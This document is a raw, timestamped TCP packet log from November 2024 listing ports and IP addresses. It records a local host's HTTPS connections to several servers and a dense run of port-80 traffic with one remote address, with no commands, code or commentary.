Nov 20, 2024 00:19:23.413836956 CET	62055	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.414072037 CET	62056	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.414097071 CET	443	62056	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.414146900 CET	62057	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.414165020 CET	443	62057	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.414186954 CET	62056	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.414202929 CET	62057	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.414405107 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.414414883 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.414580107 CET	62059	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.414586067 CET	443	62059	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.414612055 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.414634943 CET	62059	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.414753914 CET	62060	443	192.168.2.5	20.110.205.119
Nov 20, 2024 00:19:23.414813995 CET	443	62060	20.110.205.119	192.168.2.5
Nov 20, 2024 00:19:23.414884090 CET	62060	443	192.168.2.5	20.110.205.119
Nov 20, 2024 00:19:23.414925098 CET	62061	443	192.168.2.5	18.164.116.57
Nov 20, 2024 00:19:23.414937019 CET	443	62061	18.164.116.57	192.168.2.5
Nov 20, 2024 00:19:23.415020943 CET	62061	443	192.168.2.5	18.164.116.57
Nov 20, 2024 00:19:23.415072918 CET	62062	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:23.415103912 CET	443	62062	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:23.415153980 CET	62062	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:23.415220976 CET	62063	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:23.415229082 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:23.415278912 CET	62063	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:23.416085958 CET	62055	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.416104078 CET	443	62055	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.416367054 CET	62057	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.416378021 CET	443	62057	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.416584015 CET	62056	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.416596889 CET	443	62056	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.416960955 CET	62059	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.416973114 CET	443	62059	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.417082071 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.417090893 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.417165995 CET	62060	443	192.168.2.5	20.110.205.119
Nov 20, 2024 00:19:23.417202950 CET	443	62060	20.110.205.119	192.168.2.5
Nov 20, 2024 00:19:23.417248964 CET	62061	443	192.168.2.5	18.164.116.57
Nov 20, 2024 00:19:23.417265892 CET	443	62061	18.164.116.57	192.168.2.5
Nov 20, 2024 00:19:23.417340994 CET	62062	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:23.417356968 CET	443	62062	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:23.417442083 CET	62063	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:23.417460918 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:23.419435978 CET	62064	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.419444084 CET	443	62064	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.419517040 CET	62064	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.420161963 CET	62064	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.420177937 CET	443	62064	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.455353975 CET	443	49804	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:23.455404043 CET	443	62046	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.455455065 CET	443	62054	20.110.205.119	192.168.2.5
Nov 20, 2024 00:19:23.459335089 CET	443	62045	18.164.116.57	192.168.2.5
Nov 20, 2024 00:19:23.459340096 CET	443	62050	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.459357977 CET	443	62049	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.459369898 CET	443	62048	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.459378958 CET	443	62047	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.459387064 CET	443	62041	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:23.481633902 CET	443	62041	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:23.481709957 CET	62041	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:23.508094072 CET	443	62042	20.96.153.111	192.168.2.5
Nov 20, 2024 00:19:23.508193970 CET	62042	443	192.168.2.5	20.96.153.111
Nov 20, 2024 00:19:23.509744883 CET	62042	443	192.168.2.5	20.96.153.111
Nov 20, 2024 00:19:23.509759903 CET	443	62042	20.96.153.111	192.168.2.5
Nov 20, 2024 00:19:23.517759085 CET	62065	443	192.168.2.5	20.96.153.111
Nov 20, 2024 00:19:23.517787933 CET	443	62065	20.96.153.111	192.168.2.5
Nov 20, 2024 00:19:23.517882109 CET	62065	443	192.168.2.5	20.96.153.111
Nov 20, 2024 00:19:23.518203974 CET	62065	443	192.168.2.5	20.96.153.111
Nov 20, 2024 00:19:23.518218040 CET	443	62065	20.96.153.111	192.168.2.5
Nov 20, 2024 00:19:23.518520117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.518562078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.518600941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.518635035 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.518636942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.518657923 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.518685102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.519030094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.519063950 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.519085884 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.519100904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.519117117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.519134998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.519145966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.519180059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.519190073 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.519222021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.519819021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.519853115 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.519886971 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.519887924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.519917011 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.519927025 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.519957066 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.519993067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.520009995 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.520040989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.520692110 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.520725012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.520745993 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.520759106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.520767927 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.520798922 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.521418095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.521457911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.521469116 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.521501064 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.521509886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.521547079 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.521564007 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.521581888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.521608114 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.521635056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.522176981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.522213936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.522249937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.522272110 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.622951984 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:23.622997046 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:23.623075008 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:23.623281956 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:23.623294115 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:23.628083944 CET	443	62045	18.164.116.57	192.168.2.5
Nov 20, 2024 00:19:23.628181934 CET	62045	443	192.168.2.5	18.164.116.57
Nov 20, 2024 00:19:23.641366959 CET	443	62043	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.645004988 CET	443	62046	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.645066977 CET	62046	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.651560068 CET	443	62049	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.651608944 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.651654959 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.651690960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.651688099 CET	62049	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.651688099 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.651729107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.651765108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.651782036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.651782990 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.651801109 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.651813030 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.651859999 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.652198076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.652249098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.652256966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.652286053 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.652302027 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.652340889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.652509928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.652544975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.652565002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.652580976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.652586937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.652614117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.652630091 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.652650118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.652664900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.652686119 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.652713060 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.652730942 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.653450966 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.653486013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.653529882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.653529882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.653534889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.653568029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.653582096 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.653600931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.653609991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.653639078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.653651953 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.653692007 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.654237986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.654356003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.654390097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.654412031 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.654424906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.654434919 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.654459000 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.654476881 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.654494047 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.654519081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.654537916 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.655239105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.655277014 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.655297995 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.655309916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.655329943 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.655364990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.655368090 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.655400991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.655417919 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.655438900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.655452967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.655492067 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.656092882 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.656163931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.656166077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.656202078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.656224012 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.656235933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.656271935 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.656279087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.656279087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.656306982 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.656308889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.656703949 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.656995058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.657047033 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.657083035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.657095909 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.657095909 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.657116890 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.657150984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.657162905 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.657186985 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.657202005 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.657239914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.657495022 CET	443	62050	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.657605886 CET	62050	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.658241987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.658279896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.658338070 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.662175894 CET	443	62048	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.662467003 CET	62048	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.675956011 CET	443	62047	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.676023006 CET	62047	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.680270910 CET	62043	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.680301905 CET	443	62043	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.681039095 CET	62043	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.681046009 CET	443	62043	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.712266922 CET	443	62044	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.713185072 CET	62044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.713255882 CET	443	62044	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.715106010 CET	62044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.715121031 CET	443	62044	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.785998106 CET	443	62043	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.786053896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.786081076 CET	443	62043	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.786159992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.786221981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.786258936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.786281109 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.786278009 CET	62043	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.786314011 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.786397934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.786432981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.786453962 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.786465883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.786478043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.786503077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.786520004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.786541939 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.786554098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.786588907 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.786606073 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.786623955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.786639929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.786658049 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.786676884 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.786693096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.786716938 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.786725998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.786741972 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.786760092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.786783934 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.786794901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.786798000 CET	62043	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.786813021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.786833048 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.786850929 CET	443	62043	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.786853075 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.786883116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.786883116 CET	62043	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.786885023 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.786900997 CET	443	62043	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.786936045 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.786937952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787014961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787049055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787066936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787106037 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.787118912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787128925 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.787153006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787187099 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787187099 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.787209034 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.787220001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787270069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787271976 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.787302971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787353992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.787353992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.787358046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787391901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787425041 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787431002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.787431002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.787473917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787507057 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787529945 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.787556887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787559032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.787616968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787650108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787666082 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.787688971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787703991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.787728071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787751913 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.787763119 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787781954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.787796021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787831068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787847042 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.787864923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787889957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.787899017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787911892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.787930965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787944078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.787965059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.787981987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.788007975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.788019896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.788033009 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.788055897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.788068056 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.788079023 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.788101912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.788121939 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.788136959 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.788150072 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.788170099 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.788182974 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.788203001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.788225889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.788237095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.788245916 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.788274050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.788290977 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.788326979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.788583040 CET	80	49762	185.215.113.206	192.168.2.5
